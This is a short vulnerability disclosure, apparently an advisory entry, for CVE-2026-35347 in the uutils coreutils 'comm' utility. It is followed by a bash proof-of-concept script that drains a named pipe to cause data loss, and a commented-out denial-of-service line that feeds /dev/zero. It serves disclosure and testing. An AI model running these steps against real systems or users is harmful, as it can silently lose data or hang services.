CVE-2026-35347 uutils coreutils comm工具数据丢失漏洞

#!/bin/bash # PoC for CVE-2026-35347: Data loss in uutils comm utility # Scenario 1: Data loss via FIFO (Named Pipe) # Create a named pipe PIPE_FILE=$(mktemp -u) mkfifo "$PIPE_FILE" # Write data to the pipe in background echo "SensitiveDataLine" > "$PIPE_FILE" & # Attempt to compare the pipe with a regular file using uutils comm # The 'are_files_identical' function will drain the pipe before comparison # resulting in 'SensitiveDataLine' being lost from the output. echo "ExpectedContent" > /tmp/regular_file echo "Running uutils comm on pipe..." # Replace 'comm' with the actual uutils comm binary path if needed uutils-comm "$PIPE_FILE" /tmp/regular_file cleanup rm -f "$PIPE_FILE" /tmp/regular_file # Scenario 2: Denial of Service via Infinite Stream # This command will cause the utility to hang indefinitely # uutils-comm /dev/zero /tmp/regular_file